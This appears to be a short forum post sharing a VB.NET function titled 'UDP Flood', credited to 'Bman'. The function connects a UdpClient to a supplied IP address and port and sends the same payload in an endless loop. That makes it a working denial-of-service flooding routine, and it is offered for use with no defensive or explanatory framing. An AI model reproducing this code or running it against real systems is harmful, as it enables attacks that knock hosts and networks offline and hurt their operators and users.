[VB.Net] UDP Flood

[Bman]

  Public Function UdpFlood(ByVal ip As String, ByVal Port As String, ByVal data As String)
        Dim udpClient As New UdpClient
        Dim eyePee As IPAddress
        Dim ByteCmd As Byte() = New Byte() {}
        eyePee = IPAddress.Parse(ip)
        udpClient.Connect(ip, Port)
        ByteCmd = Encoding.ASCII.GetBytes(data)
        Do Until 1 = 2
            udpClient.Send(ByteCmd, ByteCmd.Length) '
        Loop
    End Function